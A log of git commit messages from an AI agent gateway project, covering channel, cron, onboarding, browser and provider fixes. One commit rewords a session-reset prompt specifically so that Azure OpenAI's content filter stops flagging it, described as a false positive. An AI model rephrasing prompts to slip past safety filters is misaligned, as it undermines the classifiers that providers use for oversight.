Port and complete #19776 on top of the current Telegram extension layout.
Adds a default-off `channels.telegram.silentErrorReplies` setting. When enabled, Telegram bot replies marked as errors are delivered silently across the regular bot reply flow, native/slash command replies, and fallback sends.
Thanks @auspic7
Co-authored-by: Myeongwon Choi <36367286+auspic7@users.noreply.github.com>
Co-authored-by: ImLukeF <92253590+ImLukeF@users.noreply.github.com>
* feishu: harden media support and action surface
* feishu: format media action changes
* feishu: fix review follow-ups
* fix: scope Feishu target aliases to Feishu (#47968) (thanks @Takhoffman)
- Add settingsKeyForGateway() function similar to tokenSessionKeyForGateway()
- Use scoped key format: openclaw.control.settings.v1:https://example.com/gateway-a
- Add migration from legacy static key on load
- Fixes#47481
When a Telegram/WhatsApp/iMessage session was viewed or messaged from the
dashboard/webchat, resolveLastChannelRaw() unconditionally returned 'webchat'
for any isDirectSessionKey() or isMainSessionKey() match, overwriting the
persisted external delivery route.
This caused subagent completion events to be delivered to the webchat/dashboard
instead of the original channel (Telegram, WhatsApp, etc.), silently dropping
messages for the channel user.
Fix: only allow webchat to own routing when no external delivery route has been
established (no persisted external lastChannel, no external channel hint in the
session key). If an external route exists, webchat is treated as admin/monitoring
access and must not mutate the delivery route.
Updated/added tests to document the correct behaviour.
Fixes#47745
1. [P1] Treat remap failures as resume failures — if replaceSubagentRunAfterSteer
returns false, do NOT clear abortedLastRun, increment failed count.
2. [P2] Count scan-level exceptions as retryable failures — set result.failed > 0
in the outer catch block so scheduleOrphanRecovery retry logic triggers.
3. [P2] Persist resumed-session dedupe across recovery retries — accept
resumedSessionKeys as a parameter; scheduleOrphanRecovery lifts the Set to
its own scope and passes it through retries.
4. [Greptile] Use typed config accessors instead of raw structural cast for TLS
check in lifecycle.ts.
5. [Greptile] Forward gateway.reload.deferralTimeoutMs to deferGatewayRestartUntilIdle
in scheduleGatewaySigusr1Restart so user-configured value is not silently ignored.
6. [Greptile] Same as #4 — already addressed by the typed config fix.
Co-Authored-By: Devin AI <158243242+devin-ai-integration[bot]@users.noreply.github.com>
Addresses Codex review feedback — if recovery fails (e.g. gateway
still booting), retries up to 3 times with exponential backoff
(5s → 10s → 20s) before giving up.
- Remove unrelated pnpm-lock.yaml changes
- Move abortedLastRun flag clearing to AFTER successful resume
(prevents permanent session loss on transient gateway failures)
- Use dynamic import for orphan recovery module to avoid startup
memory overhead
- Add test assertion that flag is preserved on resume failure
Closes#47711
After a SIGUSR1 gateway reload aborts in-flight subagent LLM calls, the gateway now scans for orphaned sessions and sends a synthetic resume message to restart their work. Also makes the deferral timeout configurable via gateway.reload.deferralTimeoutMs (default: 5 minutes, up from 90s).
Some Windows locales/versions emit 'Last Result' instead of 'Last Run Result' in schtasks output, causing gateway status to falsely report 'Runtime: unknown'. Fall back to the shorter key when the canonical key is absent.
The model selector was using just the model ID (e.g. "gpt-5.2") as the
option value. When sent to sessions.patch, the server would fall back to
the session's current provider ("anthropic") yielding "anthropic/gpt-5.2"
instead of "openai/gpt-5.2".
Now option values use "provider/model" format, and resolveModelOverrideValue
and resolveDefaultModelValue also return the full provider-prefixed key so
selected state stays consistent.
* fix(onboarding): use scoped plugin snapshots to prevent OOM on low-memory hosts
Onboarding and channel-add flows previously loaded the full plugin registry,
which caused OOM crashes on memory-constrained hosts. This patch introduces
scoped, non-activating plugin registry snapshots that load only the selected
channel plugin without replacing the running gateway's global state.
Key changes:
- Add onlyPluginIds and activate options to loadOpenClawPlugins for scoped loads
- Add suppressGlobalCommands to plugin registry to avoid leaking commands
- Replace full registry reloads in onboarding with per-channel scoped snapshots
- Validate command definitions in snapshot loads without writing global registry
- Preload configured external plugins via scoped discovery during onboarding
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(test): add return type annotation to hoisted mock to resolve TS2322
* fix(plugins): enforce cache:false invariant for non-activating snapshot loads
* Channels: preserve lazy scoped snapshot import after rebase
* Onboarding: scope channel snapshots by plugin id
* Catalog: trust manifest ids for channel plugin mapping
* Onboarding: preserve scoped setup channel loading
* Onboarding: restore built-in adapter fallback
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
Preserves explicit `supportsUsageInStreaming` overrides from built-in provider
catalogs and user config instead of unconditionally forcing `false` on non-native
openai-completions endpoints.
Adds `applyNativeStreamingUsageCompat()` to set `supportsUsageInStreaming: true`
on ModelStudio (DashScope) and Moonshot models at config build time so their
native streaming usage works out of the box.
Closes#46142
Co-authored-by: pezy <peizhe.chen@vbot.cn>
When auth is completely disabled (mode=none), requiring device pairing
for Control UI operator sessions adds friction without security value
since any client can already connect without credentials.
Add authMode parameter to shouldSkipControlUiPairing so the bypass
fires only for Control UI + operator role + auth.mode=none. This avoids
the #43478 regression where a top-level OR disabled pairing for ALL
websocket clients.
* fix(web): handle 515 Stream Error during WhatsApp QR pairing
getStatusCode() never unwrapped the lastDisconnect wrapper object,
so login.errorStatus was always undefined and the 515 restart path
in restartLoginSocket was dead code.
- Add err.error?.output?.statusCode fallback to getStatusCode()
- Export waitForCredsSaveQueue() so callers can await pending creds
- Await creds flush in restartLoginSocket before creating new socket
Fixes#3942
* test: update session mock for getStatusCode unwrap + waitForCredsSaveQueue
Mirror the getStatusCode fix (err.error?.output?.statusCode fallback)
in the test mock and export waitForCredsSaveQueue so restartLoginSocket
tests work correctly.
* fix(web): scope creds save queue per-authDir to avoid cross-account blocking
The credential save queue was a single global promise chain shared by all
WhatsApp accounts. In multi-account setups, a slow save on one account
blocked credential writes and 515 restart recovery for unrelated accounts.
Replace the global queue with a per-authDir Map so each account's creds
serialize independently. waitForCredsSaveQueue() now accepts an optional
authDir to wait on a single account's queue, or waits on all when omitted.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* test: use real Baileys v7 error shape in 515 restart test
The test was using { output: { statusCode: 515 } } which was already
handled before the fix. Updated to use the actual Baileys v7 shape
{ error: { output: { statusCode: 515 } } } to cover the new fallback
path in getStatusCode.
Co-Authored-By: Claude Code (Opus 4.6) <noreply@anthropic.com>
* fix(web): bound credential-queue wait during 515 restart
Prevents restartLoginSocket from blocking indefinitely if a queued
saveCreds() promise stalls (e.g. hung filesystem write).
Co-Authored-By: Claude <noreply@anthropic.com>
* fix: clear flush timeout handle and assert creds queue in test
Co-Authored-By: Claude <noreply@anthropic.com>
* fix: evict settled credsSaveQueues entries to prevent unbounded growth
Co-Authored-By: Claude <noreply@anthropic.com>
* fix: share WhatsApp 515 creds flush handling (#27910) (thanks @asyncjason)
---------
Co-authored-by: Jason Separovic <jason@wilma.dog>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Ayaan Zaidi <hi@obviy.us>
Update 5 references to the old "Clawdbot" name in
skills/apple-reminders/SKILL.md and skills/imsg/SKILL.md.
Co-authored-by: imanisynapse <imanisynapse@gmail.com>
* feat: make compaction timeout configurable via agents.defaults.compaction.timeoutSeconds
The hardcoded 5-minute (300s) compaction timeout causes large sessions
to enter a death spiral where compaction repeatedly fails and the
session grows indefinitely. This adds agents.defaults.compaction.timeoutSeconds
to allow operators to override the compaction safety timeout.
Default raised to 900s (15min) which is sufficient for sessions up to
~400k tokens. The resolved timeout is also used for the session write
lock duration so locks don't expire before compaction completes.
Fixes#38233
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* test: add resolveCompactionTimeoutMs tests
Cover config resolution edge cases: undefined config, missing
compaction section, valid seconds, fractional values, zero,
negative, NaN, and Infinity.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix: add timeoutSeconds to compaction Zod schema
The compaction object schema uses .strict(), so setting the new
timeoutSeconds config option would fail validation at startup.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix: enforce integer constraint on compaction timeoutSeconds schema
Prevents sub-second values like 0.5 which would floor to 0ms and
cause immediate compaction timeout. Matches pattern of other
integer timeout fields in the schema.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix: clamp compaction timeout to Node timer-safe maximum
Values above ~2.1B ms overflow Node's setTimeout to 1ms, causing
immediate timeout. Clamp to MAX_SAFE_TIMEOUT_MS matching the
pattern in agents/timeout.ts.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix: add FIELD_LABELS entry for compaction timeoutSeconds
Maintains label/help parity invariant enforced by
schema.help.quality.test.ts.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix: align compaction timeouts with abort handling
* fix: land compaction timeout handling (#46889) (thanks @asyncjason)
---------
Co-authored-by: Jason Separovic <jason@wilma.dog>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: Ayaan Zaidi <hi@obviy.us>
* fix: fetch OpenRouter model capabilities at runtime for unknown models
When an OpenRouter model is not in the built-in static snapshot from
pi-ai, the fallback hardcodes input: ["text"], silently dropping images.
Query the OpenRouter API at runtime to detect actual capabilities
(image support, reasoning, context window) for models not in the
built-in list. Results are cached in memory for 1 hour. On API
failure/timeout, falls back to text-only (no regression).
* feat(openrouter): add disk cache for OpenRouter model capabilities
Persist the OpenRouter model catalog to ~/.openclaw/cache/openrouter-models.json
so it survives process restarts. Cache lookup order:
1. In-memory Map (instant)
2. On-disk JSON file (avoids network on restart)
3. OpenRouter API fetch (populates both layers)
Also triggers a background refresh when a model is not found in the cache,
in case it was newly added to OpenRouter.
* refactor(openrouter): remove pre-warm, use pure lazy-load with disk cache
- Remove eager ensureOpenRouterModelCache() from run.ts
- Remove TTL — model capabilities are stable, no periodic re-fetching
- Cache lookup: in-memory → disk → API fetch (only when needed)
- API is only called when no cache exists or a model is not found
- Disk cache persists across gateway restarts
* fix(openrouter): address review feedback
- Fix timer leak: move clearTimeout to finally block
- Fix modality check: only check input side of "->" separator to avoid
matching image-generation models (text->image)
- Use resolveStateDir() instead of hardcoded homedir()/.openclaw
- Separate cache dir and filename constants
- Add utf-8 encoding to writeFileSync for consistency
- Add data validation when reading disk cache
* ci: retrigger checks
* fix: preload unknown OpenRouter model capabilities before resolve
* fix: accept top-level OpenRouter max token metadata
* fix: update changelog for OpenRouter runtime capability lookup (#45824) (thanks @DJjjjhao)
* fix: avoid redundant OpenRouter refetches and preserve suppression guards
---------
Co-authored-by: Ayaan Zaidi <hi@obviy.us>
The revert of #43478 (commit 39b4185d0b) was silently undone by
3704293e6f which was based on a branch that included the original
change. This removes the auth.mode=none skipPairing condition again.
The blanket skip was too broad - it disabled pairing for ALL websocket
clients, not just Control UI behind reverse proxies.
Reuses the cron isolated session pattern (resolveCronSession with forceNew)
to give each heartbeat a fresh session with no prior conversation history.
Reduces per-heartbeat token cost from ~100K to ~2-5K tokens.
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(feishu): fetch thread context so AI can see bot replies in topic threads
When a user replies in a Feishu topic thread, the AI previously could only
see the quoted parent message but not the bot's own prior replies in the
thread. This made multi-turn conversations in threads feel broken.
- Add `threadId` (omt_xxx) to `FeishuMessageInfo` and `getMessageFeishu`
- Add `listFeishuThreadMessages()` using `container_id_type=thread` API
to fetch all messages in a thread including bot replies
- In `handleFeishuMessage`, fetch ThreadStarterBody and ThreadHistoryBody
for topic session modes and pass them to the AI context
- Reuse quoted message result when rootId === parentId to avoid redundant
API calls; exclude root message from thread history to prevent duplication
- Fall back to inbound ctx.threadId when rootId is absent or API fails
- Fetch newest messages first (ByCreateTimeDesc + reverse) so long threads
keep the most recent turns instead of the oldest
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(feishu): skip redundant thread context injection on subsequent turns
Only inject ThreadHistoryBody on the first turn of a thread session.
On subsequent turns the session already contains prior context, so
re-injecting thread history (and starter) would waste tokens.
The heuristic checks whether the current user has already sent a
non-root message in the thread — if so, the session has prior turns
and thread context injection is skipped entirely.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(feishu): handle thread_id-only events in prior-turn detection
When ctx.rootId is undefined (thread_id-only events), the starter
message exclusion check `msg.messageId !== ctx.rootId` was always
true, causing the first follow-up to be misclassified as a prior
turn. Fall back to the first message in the chronologically-sorted
thread history as the starter.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* fix(feishu): bootstrap topic thread context via session state
* test(memory): pin remote embedding hostnames in offline suites
* fix(feishu): use plugin-safe session runtime for thread bootstrap
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
Fixes#46142
Stop forcing supportsUsageInStreaming=false on non-native openai-completions
endpoints. Most OpenAI-compatible APIs (DashScope, DeepSeek, Groq, Together,
etc.) handle stream_options: { include_usage: true } correctly. The blanket
disable broke usage/cost tracking for all non-OpenAI providers.
supportsDeveloperRole is still forced off for non-native endpoints since
the developer message role is genuinely OpenAI-specific.
Users on backends that reject stream_options can opt out with
compat.supportsUsageInStreaming: false in their model config.
Fixes#46142
Fixes#43057
* fix(auth): clear stale lockout on re-login
Clear stale `auth_permanent` and `billing` disabled state for all
profiles matching the target provider when `openclaw models auth login`
is invoked, so users locked out by expired or revoked OAuth tokens can
recover by re-authenticating instead of waiting for the cooldown timer.
Uses the agent-scoped store (`loadAuthProfileStoreForRuntime`) for
correct multi-agent profile resolution and wraps the housekeeping in
try/catch so corrupt store files never block re-authentication.
Fixes#43057
* test(auth): remove unnecessary non-null assertions
oxlint no-unnecessary-type-assertion: invocationCallOrder[0]
already returns number, not number | undefined.
Fixes#42931
When gateway.auth.mode is set to "none", authentication succeeds with
method "none" but sharedAuthOk remains false because the auth-context
only recognises token/password/trusted-proxy methods. This causes all
pairing-skip conditions to fail, so Control UI browser connections get
closed with code 1008 "pairing required" despite auth being disabled.
Short-circuit the skipPairing check: if the operator explicitly
disabled authentication, device pairing (which is itself an auth
mechanism) must also be bypassed.
Fixes#42931
Fixes#43322
* fix(feishu): clear stale streamingStartPromise on card creation failure
When FeishuStreamingSession.start() throws (HTTP 400), the catch block
sets streaming = null but leaves streamingStartPromise dangling. The
guard in startStreaming() checks streamingStartPromise first, so all
future deliver() calls silently skip streaming - the session locks
permanently.
Clear streamingStartPromise in the catch block so subsequent messages
can retry streaming instead of dropping all future replies.
Fixes#43322
* test(feishu): wrap push override in try/finally for cleanup safety
* feat: add --force-document to message.send for Telegram
Adds --force-document CLI flag to bypass sendPhoto and use sendDocument
instead, avoiding Telegram image compression for PNG/image files.
- TelegramSendOpts: add forceDocument field
- send.ts: skip sendPhoto when forceDocument=true (mediaSender pattern)
- ChannelOutboundContext: add forceDocument field
- telegramOutbound.sendMedia: pass forceDocument to sendMessageTelegram
- ChannelHandlerParams / DeliverOutboundPayloadsCoreParams: add forceDocument
- createChannelOutboundContextBase: propagate forceDocument
- outbound-send-service.ts: add forceDocument to executeSendAction params
- message-action-runner.ts: read forceDocument from params
- message.ts: add forceDocument to MessageSendParams
- register.send.ts: add --force-document CLI option
* fix: pass forceDocument through telegram action dispatch path
The actual send path goes through dispatchChannelMessageAction ->
telegramMessageActions.handleAction -> handleTelegramAction, not
deliverOutboundPayloads. forceDocument was not being read in
readTelegramSendParams or passed to sendMessageTelegram.
* fix: apply forceDocument to GIF branch to avoid sendAnimation
* fix: add disable_content_type_detection=true to sendDocument for --force-document
* fix: add forceDocument to buildSendSchema for agent discoverability
* fix: scope telegram force-document detection
* test: fix heartbeat target helper typing
* fix: skip image optimization when forceDocument is set
* fix: persist forceDocument in WAL queue for crash-recovery replay
* test: tighten heartbeat target test entry typing
---------
Co-authored-by: thepagent <thepagent@users.noreply.github.com>
Co-authored-by: Frank Yang <frank.ekn@gmail.com>
* refactor: remove channel shim directories, point all imports to extensions
Delete the 6 backward-compat shim directories (src/telegram, src/discord,
src/slack, src/signal, src/imessage, src/web) that were re-exporting from
extensions. Update all 112+ source files to import directly from
extensions/{channel}/src/ instead of through the shims.
Also:
- Move src/channels/telegram/ (allow-from, api) to extensions/telegram/src/
- Fix outbound adapters to use resolveOutboundSendDep (fixes 5 pre-existing TS errors)
- Update cross-extension imports (src/web/media.js → extensions/whatsapp/src/media.js)
- Update vitest, tsdown, knip, labeler, and script configs for new paths
- Update guard test allowlists for extension paths
After this, src/ has zero channel-specific implementation code — only the
generic plugin framework remains.
* fix: update raw-fetch guard allowlist line numbers after shim removal
* refactor: document direct extension channel imports
* test: mock transcript module in delivery helpers
* refactor: move Discord channel implementation to extensions/discord/src/
Move all Discord source files from src/discord/ to extensions/discord/src/,
following the extension migration pattern. Source files in src/discord/ are
replaced with re-export shims. Channel-plugin files from
src/channels/plugins/*/discord* are similarly moved and shimmed.
- Copy all .ts source files preserving subdirectory structure (monitor/, voice/)
- Move channel-plugin files (actions, normalize, onboarding, outbound, status-issues)
- Fix all relative imports to use correct paths from new location
- Create re-export shims at original locations for backward compatibility
- Delete test files from shim locations (tests live in extension now)
- Update tsconfig.plugin-sdk.dts.json rootDir from "src" to "." to accommodate
extension files outside src/
- Update write-plugin-sdk-entry-dts.ts to match new declaration output paths
* fix: add importOriginal to thread-bindings session-meta mock for extensions test
* style: fix formatting in thread-bindings lifecycle test
Move all Slack channel implementation files from src/slack/ to
extensions/slack/src/ and replace originals with shim re-exports.
This follows the extension migration pattern for channel plugins.
- Copy all .ts files to extensions/slack/src/ (preserving directory
structure: monitor/, http/, monitor/events/, monitor/message-handler/)
- Transform import paths: external src/ imports use relative paths
back to src/, internal slack imports stay relative within extension
- Replace all src/slack/ files with shim re-exports pointing to
the extension copies
- Update tsconfig.plugin-sdk.dts.json rootDir from "src" to "." so
the DTS build can follow shim chains into extensions/
- Update write-plugin-sdk-entry-dts.ts re-export path accordingly
- Preserve extensions/slack/index.ts, package.json, openclaw.plugin.json,
src/channel.ts, src/runtime.ts, src/channel.test.ts (untouched)
* refactor: move WhatsApp channel from src/web/ to extensions/whatsapp/
Move all WhatsApp implementation code (77 source/test files + 9 channel
plugin files) from src/web/ and src/channels/plugins/*/whatsapp* to
extensions/whatsapp/src/.
- Leave thin re-export shims at all original locations so cross-cutting
imports continue to resolve
- Update plugin-sdk/whatsapp.ts to only re-export generic framework
utilities; channel-specific functions imported locally by the extension
- Update vi.mock paths in 15 cross-cutting test files
- Rename outbound.ts -> send.ts to match extension naming conventions
and avoid false positive in cfg-threading guard test
- Widen tsconfig.plugin-sdk.dts.json rootDir to support shim->extension
cross-directory references
Part of the core-channels-to-extensions migration (PR 6/10).
* style: format WhatsApp extension files
* fix: correct stale import paths in WhatsApp extension tests
Fix vi.importActual, test mock, and hardcoded source paths that weren't
updated during the file move:
- media.test.ts: vi.importActual path
- onboarding.test.ts: vi.importActual path
- test-helpers.ts: test/mocks/baileys.js path
- monitor-inbox.test-harness.ts: incomplete media/store mock
- login.test.ts: hardcoded source file path
- message-action-runner.media.test.ts: vi.mock/importActual path
Move all Signal channel implementation files from src/signal/ to
extensions/signal/src/ and replace originals with re-export shims.
This continues the channel plugin migration pattern used by other
extensions, keeping backward compatibility via shims while the real
code lives in the extension.
- Copy 32 .ts files (source + tests) to extensions/signal/src/
- Transform all relative import paths for the new location
- Create 2-line re-export shims in src/signal/ for each moved file
- Preserve existing extension files (channel.ts, runtime.ts, etc.)
- Change tsconfig.plugin-sdk.dts.json rootDir from "src" to "."
to support cross-boundary re-exports from extensions/
* refactor: make OutboundSendDeps dynamic with channel-ID keys
Replace hardcoded per-channel send fields (sendTelegram, sendDiscord,
etc.) with a dynamic index-signature type keyed by channel ID. This
unblocks moving channel implementations to extensions without breaking
the outbound dispatch contract.
- OutboundSendDeps and CliDeps are now { [channelId: string]: unknown }
- Each outbound adapter resolves its send fn via bracket access with cast
- Lazy-loading preserved via createLazySender with module cache
- Delete 6 deps-send-*.runtime.ts one-liner re-export files
- Harden guardrail scan against deleted-but-tracked files
* fix: preserve outbound send-deps compatibility
* style: fix formatting issues (import order, extra bracket, trailing whitespace)
* fix: resolve type errors from dynamic OutboundSendDeps in tests and extension
* fix: remove unused OutboundSendDeps import from deliver.test-helpers
feat(cron): support persistent session targets for cron jobs (#9765)
Add support for `sessionTarget: "current"` and `session:<id>` so cron jobs can
bind to the creating session or a persistent named session instead of only
`main` or ephemeral `isolated` sessions.
Also:
- preserve custom session targets across reloads and restarts
- update gateway validation and normalization for the new target forms
- add cron coverage for current/custom session targets and fallback behavior
- fix merged CI regressions in Discord and diffs tests
- add a changelog entry for the new cron session behavior
Co-authored-by: kkhomej33-netizen <kkhomej33-netizen@users.noreply.github.com>
Co-authored-by: ImLukeF <92253590+ImLukeF@users.noreply.github.com>
* Gateway: treat scope-limited probe RPC as degraded
* Docs: clarify gateway probe degraded scope output
* test: fix CI type regressions in gateway and outbound suites
* Tests: fix Node24 diffs theme loading and Windows assertions
* Tests: fix extension typing after main rebase
* Tests: fix Windows CI regressions after rebase
* Tests: normalize executable path assertions on Windows
* Tests: remove duplicate gateway daemon result alias
* Tests: stabilize Windows approval path assertions
* Tests: fix Discord rate-limit startup fixture typing
* Tests: use Windows-friendly relative exec fixtures
---------
Co-authored-by: Mainframe <mainframe@MainfraacStudio.localdomain>
* fix(models): apply Gemini model-id normalization to google-vertex provider
The existing normalizeGoogleModelId() (which maps e.g. gemini-3.1-flash-lite
to gemini-3.1-flash-lite-preview) was only applied when the provider was
"google". Users configuring google-vertex/gemini-3.1-flash-lite would get
a "missing" model because the -preview suffix was never appended.
Extend the normalization to google-vertex in both model-selection
(parseModelRef path) and normalizeProviders (config normalization path).
Ref: https://github.com/openclaw/openclaw/issues/36838
Ref: https://github.com/openclaw/openclaw/pull/36918#issuecomment-4032732959
* fix(models): normalize google-vertex flash-lite
* fix(models): place unreleased changelog entry last
* fix(models): place unreleased changelog entry before releases
* fix(feishu): add early event-level dedup to prevent duplicate replies
Add synchronous in-memory dedup at EventDispatcher handler level using
message_id as key with 5-minute TTL and 2000-entry cap.
This catches duplicate events immediately when they arrive from the Lark
SDK — before the inbound debouncer or processing queue — preventing the
race condition where two concurrent dispatches enter the pipeline before
either records the messageId in the downstream dedup layer.
Fixes the root cause reported in #42687.
* fix(feishu): correct inverted dedup condition
check() returns false on first call (new key) and true on subsequent
calls (duplicate). The previous `!check()` guard was inverted —
dropping every first delivery and passing all duplicates.
Remove the negation so the guard correctly drops duplicates.
* fix(feishu): simplify eventDedup key — drop redundant accountId prefix
eventDedup is already scoped per account (one instance per
registerEventHandlers call), so the accountId prefix in the cache key
is redundant. Use `evt:${messageId}` instead.
* fix(feishu): share inbound processing claim dedupe
---------
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
* fix(browser): harden existing-session driver validation, session lifecycle, and code quality
Fix config validation rejecting existing-session profiles that lack
cdpPort/cdpUrl (they use Chrome MCP auto-connect instead). Fix callTool
tearing down the MCP session on tool-level errors (element not found,
script error), which caused expensive npx re-spawns. Skip unnecessary
CDP port allocation for existing-session profiles. Remove redundant
ensureChromeMcpAvailable call in isReachable.
Extract shared ARIA role sets (INTERACTIVE_ROLES, CONTENT_ROLES,
STRUCTURAL_ROLES) into snapshot-roles.ts so both the Playwright and
Chrome MCP snapshot paths stay in sync. Add usesChromeMcp capability
flag and replace ~20 scattered driver === "existing-session" string
checks with the centralized flag.
Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* fix(browser): harden existing-session driver validation and session lifecycle (#45682) (thanks @odysseus0)
---------
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
* macOS: align minimum Node.js version with runtime guard
* macOS: add boundary and failure-message coverage for RuntimeLocator
* docs: add changelog note for the macOS runtime locator fix
* credit: original fix direction from @sumleo, cleaned up and rebased in #45640 by @ImLukeF
`chat.inject` called `appendAssistantTranscriptMessage` with
`createIfMissing: false`, causing a hard error when the transcript
file did not exist on disk despite having a valid `transcriptPath`
in session metadata. This commonly happens with ACP oneshot/run
sessions where the session entry is created but the transcript file
is not yet materialized.
The fix is a one-character change: `createIfMissing: true`. The
`ensureTranscriptFile` helper already handles directory creation
and file initialization safely.
Fixes#36170
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
fix(macos): prevent PortGuardian from killing Docker Desktop in remote mode (#6755)
PortGuardian.sweep() was killing non-SSH processes holding the gateway
port in remote mode. When the gateway runs in a Docker container,
`com.docker.backend` owns the port-forward, so this could shut down
Docker Desktop entirely.
Changes:
- accept any process on the gateway port in remote mode
- add a defense-in-depth guard to skip kills in remote mode
- update remote-mode port diagnostics/reporting to match
- add regression coverage for Docker and local-mode behavior
- add a changelog entry for the fix
Co-Authored-By: ImLukeF <92253590+ImLukeF@users.noreply.github.com>
Fix macOS gateway exec approvals to respect exec-approvals.json.
This updates the macOS gateway prompter to resolve per-agent exec approval policy before deciding whether to show UI, use agentId for policy lookup, honor askFallback when prompts cannot be presented, and resolve no-prompt decisions from the configured security policy instead of hardcoded allow-once behavior. It also adds regression coverage for ask-policy and allowlist-fallback behavior, plus a changelog entry for the fix.
Co-authored-by: ImLukeF <92253590+ImLukeF@users.noreply.github.com>
* docker: add apt-get upgrade to patch base-image vulnerabilities
Closes#45159
* docker: add DEBIAN_FRONTEND and --no-install-recommends to apt-get upgrade
Prevents debconf hangs during Docker builds and avoids pulling in
recommended packages that silently grow the image.
Co-Authored-By: Claude <noreply@anthropic.com>
* Revert "docker: add DEBIAN_FRONTEND and --no-install-recommends to apt-get upgrade"
This reverts commit 6fc3839cb5.
* docker: add DEBIAN_FRONTEND and --no-install-recommends to apt-get upgrade
Prevents debconf hangs during Docker builds and avoids pulling in
recommended packages that silently grow the image.
Co-Authored-By: Claude <noreply@anthropic.com>
---------
Co-authored-by: Claude <noreply@anthropic.com>
* feat(browser): add batch actions, CSS selector support, and click delayMs
Adds three improvements to the browser act tool:
1. CSS selector support: All element-targeting actions (click, type,
hover, drag, scrollIntoView, select) now accept an optional
'selector' parameter alongside 'ref'. When selector is provided,
Playwright's page.locator() is used directly, skipping the need
for a snapshot to obtain refs. This reduces roundtrips for agents
that already know the DOM structure.
2. Click delay (delayMs): The click action now accepts an optional
'delayMs' parameter. When set, the element is hovered first, then
after the specified delay, clicked. This enables human-like
hover-before-click in a single tool call instead of three
(hover + wait + click).
3. Batch actions: New 'batch' action kind that accepts an array of
actions to execute sequentially in a single tool call. Supports
'stopOnError' (default true) to control whether execution halts
on first failure. Results are returned as an array. This eliminates
the AI inference roundtrip between each action, dramatically
reducing latency and token cost for multi-step flows.
Addresses: #44431, #38844
* fix(browser): address security review — batch evaluateEnabled guard, input validation, recursion limit
Fixes all 4 issues raised by Greptile review:
1. Security: batch actions now respect evaluateEnabled flag.
executeSingleAction and batchViaPlaywright accept evaluateEnabled
param. evaluate and wait-with-fn inside batches are rejected
when evaluateEnabled=false, matching the direct route guards.
2. Security: batch input validation. Each action in body.actions
is validated as a plain object with a known kind string before
dispatch. Applies same normalization as direct action handlers.
3. Perf: SELECTOR_ALLOWED_KINDS moved to module scope as a
ReadonlySet<string> constant (was re-created on every request).
4. Security: max batch nesting depth of 5. Nested batch actions
track depth and throw if MAX_BATCH_DEPTH exceeded, preventing
call stack exhaustion from crafted payloads.
* fix(browser): normalize batch act dispatch
* fix(browser): tighten existing-session act typing
* fix(browser): preserve batch type text
* fix(browser): complete batch action execution
* test(browser): cover batch route normalization
* test(browser): cover batch interaction dispatch
* fix(browser): bound batch route action inputs
* fix(browser): harden batch interaction limits
* test(browser): cover batch security guardrails
---------
Co-authored-by: Diwakar <diwakarrankawat@gmail.com>
* style: update chat layout and spacing for improved UI consistency
- Adjusted margin and padding for .chat-thread and .content--chat to enhance layout.
- Consolidated CSS selectors for better readability and maintainability.
- Introduced new test for log parsing functionality to ensure accurate message extraction.
* UI: polish agent skills, chat images, and sidebar status
* test: stabilize vitest helper export types
* UI: address review feedback on agents refresh and chat styles
* test: update outbound gateway client fixture values
* test: narrow shared ip fixtures to IPv4
* Fix updater refresh cwd for service reinstall
* Update: preserve relative env overrides during service refresh
* Test: cover updater service refresh env rebasing
* fix(cron): resolve isolated session deadlock (#44805)
Map cron lane to nested in resolveGlobalLane to prevent deadlock when
isolated cron jobs trigger inner operations (e.g. compaction). Outer
execution holds the cron lane slot; inner work now uses nested lane.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* docs(changelog): add cron isolated deadlock note
---------
Co-authored-by: zhujian <zhujianxyz@gmail.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
The restart helper and taskkill spawn calls were missing windowsHide: true,
causing visible command prompt windows to flash on screen during gateway
restart and process cleanup on Windows.
## Summary
- Mobile navigation drawer with slide-over behavior at ≤1100px
- Topnav & sidebar shell restructure with brand eyebrow
- Chat model selection picker with optimistic caching + rollback
- Nav breakpoint gap fix (769–1100px toggle visibility)
- Skills page autofill pollution fix (autocomplete=off)
- Delete confirm popover positioning (left/right by role)
- Effective collapsed state propagation to nav items in drawer mode
- Duplicate CSS selector consolidation
- Session key race condition fixes in async model patching
- 2 new test files + expanded test coverage (23 tests)
Co-authored-by: Nova <nova@openclaw.ai>
* fix(agents): rephrase session reset prompt to avoid Azure content filter
Azure OpenAI's content filter flags the phrase 'Execute your Session
Startup sequence now' as potentially harmful, causing /new and /reset
to return 400 for all Azure-hosted deployments.
Replace 'Execute ... now' with 'Run your Session Startup sequence' in
session-reset-prompt.ts and post-compaction-context.ts. The semantics
are identical but the softer phrasing avoids the false-positive.
Closes#42769
* ci: retrigger checks (windows shard timeout)
* fix: add changelog for Azure startup prompt fix (#43403) (thanks @xingsy97)
---------
Co-authored-by: Ayaan Zaidi <hi@obviy.us>
Adds the missing requiresOpenAiAnthropicToolPayload field to the
model-compat schema acceptance test, guarding against regressions
like #43339 where onboarding fails with "Unrecognized key".
